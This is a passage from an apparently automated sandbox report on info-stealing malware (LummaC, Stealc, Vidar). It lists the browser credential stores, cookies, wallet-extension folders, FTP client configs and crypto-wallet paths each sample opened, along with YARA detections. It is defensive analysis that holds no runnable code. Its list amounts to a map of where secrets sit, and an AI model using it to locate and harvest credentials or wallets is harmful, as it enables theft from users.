Source: 1747150d4f.exe, 00000007.00000003.2771760830.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: re.json",".finger-print.fp","simple-storage.json","window-state.json"],"
Source: 8b334ae3d2.exe, 00000028.00000002.2970973072.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 1747150d4f.exe, 00000007.00000003.2829634235.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3P/>
Source: 1747150d4f.exe, 00000007.00000003.2829634235.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 1747150d4f.exe, 00000007.00000003.2829747577.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS			Jump to behavior

Source: Yara match	File source: 00000028.00000002.2970973072.0000000001430000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1747150d4f.exe PID: 7216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8b334ae3d2.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d6cdb1061b.exe PID: 5236, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 6e8fec8a4f.exe PID: 3900, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 1747150d4f.exe PID: 7216, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 8b334ae3d2.exe PID: 5700, type: MEMORYSTR

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: d6cdb1061b.exe PID: 5236, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0005EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_0005EC48
